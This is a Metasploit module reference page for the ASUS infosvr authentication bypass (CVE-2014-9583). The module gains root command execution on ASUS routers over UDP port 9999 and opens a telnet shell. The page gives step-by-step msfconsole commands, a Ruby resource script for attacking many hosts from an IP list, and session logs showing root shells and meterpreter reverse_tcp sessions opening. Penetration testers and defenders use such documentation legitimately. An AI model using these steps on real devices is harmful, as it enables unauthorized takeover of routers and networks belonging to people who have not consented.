ASUS infosvr Auth Bypass Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/misc/asus_infosvr_auth_bypass_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ASUS infosvr Auth Bypass Command Execution
Module: exploit/linux/misc/asus_infosvr_auth_bypass_exec
Source code: modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb
Disclosure date: 2015-01-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 9999
List of CVEs: CVE-2014-9583

This module exploits an authentication bypass vulnerability in the infosvr service running on UDP port 9999 on various ASUS routers to execute arbitrary commands as root. This module launches the BusyBox Telnet daemon on the port specified in the TelnetPort option to gain an interactive remote shell. This module was tested successfully on an ASUS RT-N12E with firmware version 2.0.0.35. Numerous ASUS models are reportedly affected, but untested.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using asus_infosvr_auth_bypass_exec against a single host

Normally, you can use exploit/linux/misc/asus_infosvr_auth_bypass_exec this way:

msf > use exploit/linux/misc/asus_infosvr_auth_bypass_exec
msf exploit(asus_infosvr_auth_bypass_exec) > show targets
    ... a list of targets ...
msf exploit(asus_infosvr_auth_bypass_exec) > set TARGET target-id
msf exploit(asus_infosvr_auth_bypass_exec) > show options
    ... show and set options ...
msf exploit(asus_infosvr_auth_bypass_exec) > exploit

Using asus_infosvr_auth_bypass_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your asus_infosvr_auth_bypass_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/misc/asus_infosvr_auth_bypass_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module exploits an authentication bypass vulnerability in the infosvr service running on various ASUS routers to execute arbitrary commands as root.

Vulnerable Application


The ASUS infosvr service is enabled by default on various models of ASUS routers and listens on the LAN interface on UDP port 9999. Unpatched versions of this service allow unauthenticated remote command execution as the root user.

This module launches the BusyBox Telnet daemon on the port specified in the TelnetPort option to gain an interactive remote shell.

This module was tested successfully on an ASUS RT-N12E with firmware version 2.0.0.35.

Numerous ASUS models are reportedly affected, but untested.

Verification Steps


  1. Start msfconsole
  2. use exploit/linux/misc/asus_infosvr_auth_bypass_exec
  3. set RHOST [IP]
  4. run
  5. You should get a root session

Options


TelnetPort

The port for Telnetd to bind (default: 4444)

TelnetTimeout

The number of seconds to wait for connection to telnet (default: 10)

TelnetBannerTimeout

The number of seconds to wait for the telnet banner (default: 25)

CommandShellCleanupCommand

A command to run before the session is closed (default: exit)

If the session is killed (CTRL+C) rather than exiting cleanly, the telnet port remains open, but is unresponsive, and prevents re-exploitation until the device is rebooted.

Scenarios


  msf > use exploit/linux/misc/asus_infosvr_auth_bypass_exec
  msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > set rhost 10.1.1.1
  rhost => 10.1.1.1
  msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > set telnetport 4444
  telnetport => 4444
  msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > set verbose true
  verbose => true
  msf exploit(linux/misc/asus_infosvr_auth_bypass_exec) > run 

  [*] 10.1.1.1 - Starting telnetd on port 4444...
  [*] 10.1.1.1 - Waiting for telnet service to start on port 4444...
  [*] 10.1.1.1 - Connecting to 10.1.1.1:4444...
  [*] 10.1.1.1 - Trying to establish a telnet session...
  [+] 10.1.1.1 - Telnet session successfully established...
  [*] Found shell.
  [*] Command shell session 1 opened (10.1.1.197:42875 -> 10.1.1.1:4444) at 2017-11-28 07:38:37 -0500

  id
  /bin/sh: id: not found
  # cat /proc/version
  cat /proc/version
  Linux version 2.6.30.9 (root@wireless-desktop) (gcc version 3.4.6-1.3.6) #2 Thu Sep 18 18:12:23 CST 2014
  # exit
  exit

Go back to menu.

Msfconsole Usage


Here is how the linux/misc/asus_infosvr_auth_bypass_exec exploit module looks in the msfconsole:

msf6 > use exploit/linux/misc/asus_infosvr_auth_bypass_exec

[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/misc/asus_infosvr_auth_bypass_exec) > show info

       Name: ASUS infosvr Auth Bypass Command Execution
     Module: exploit/linux/misc/asus_infosvr_auth_bypass_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-01-04

Provided by:
  Friedrich Postelstorfer
  jduck <[email protected]>
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name                 Current Setting  Required  Description
  ----                 ---------------  --------  -----------
  RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                9999             yes       The target port (UDP)
  TelnetBannerTimeout  25               yes       The number of seconds to wait for the telnet banner
  TelnetPort           4444             yes       The port for Telnetd to bind
  TelnetTimeout        10               yes       The number of seconds to wait for connection to telnet

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in the 
  infosvr service running on UDP port 9999 on various ASUS routers to 
  execute arbitrary commands as root. This module launches the BusyBox 
  Telnet daemon on the port specified in the TelnetPort option to gain 
  an interactive remote shell. This module was tested successfully on 
  an ASUS RT-N12E with firmware version 2.0.0.35. Numerous ASUS models 
  are reportedly affected, but untested.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-9583
  https://www.exploit-db.com/exploits/35688
  https://github.com/jduck/asus-cmd

Module Options


This is a complete list of options available in the linux/misc/asus_infosvr_auth_bypass_exec exploit:

msf6 exploit(linux/misc/asus_infosvr_auth_bypass_exec) > show options

Module options (exploit/linux/misc/asus_infosvr_auth_bypass_exec):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                9999             yes       The target port (UDP)
   TelnetBannerTimeout  25               yes       The number of seconds to wait for the telnet banner
   TelnetPort           4444             yes       The port for Telnetd to bind
   TelnetTimeout        10               yes       The number of seconds to wait for connection to telnet

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/misc/asus_infosvr_auth_bypass_exec exploit:

msf6 exploit(linux/misc/asus_infosvr_auth_bypass_exec) > show advanced

Module advanced options (exploit/linux/misc/asus_infosvr_auth_bypass_exec):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   CHOST                                        no        The local client address
   CPORT                                        no        The local client port
   CommandShellCleanupCommand  exit             yes       A command to run before the session is closed
   ContextInformationFile                       no        The information file that contains context information
   DisablePayloadHandler       false            no        Disable the handler code for the selected payload
   EnableContextEncoding       false            no        Use transient context when encoding payloads
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module
   WfsDelay                    2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/interact):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand  exit             no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/misc/asus_infosvr_auth_bypass_exec module can exploit:

msf6 exploit(linux/misc/asus_infosvr_auth_bypass_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/asus_infosvr_auth_bypass_exec exploit:

msf6 exploit(linux/misc/asus_infosvr_auth_bypass_exec) > show payloads

Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ----                       ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Evasion Options


Here is the full list of possible evasion options supported by the linux/misc/asus_infosvr_auth_bypass_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/misc/asus_infosvr_auth_bypass_exec) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Telnet service unreachable on port <TELNET_PORT>


Here is a relevant code snippet related to the "Telnet service unreachable on port <TELNET_PORT>" error message:

105:	                                  'PeerPort' => telnet_port,
106:	                                  'Context'  => { 'Msf' => framework, 'MsfExploit' => self },
107:	                                  'Timeout'  => telnet_timeout
108:	
109:	    if sock.nil?
110:	      fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}"
111:	    end
112:	
113:	    vprint_status "#{rhost} - Trying to establish a telnet session..."
114:	
115:	    prompt = negotiate_telnet sock

Unable to establish a telnet session


Here is a relevant code snippet related to the "Unable to establish a telnet session" error message:

113:	    vprint_status "#{rhost} - Trying to establish a telnet session..."
114:	
115:	    prompt = negotiate_telnet sock
116:	    if prompt.nil?
117:	      sock.close
118:	      fail_with Failure::Unknown, 'Unable to establish a telnet session'
119:	    end
120:	
121:	    print_good "#{rhost} - Telnet session successfully established..."
122:	
123:	    handler sock

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Friedrich Postelstorfer
  • jduck
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.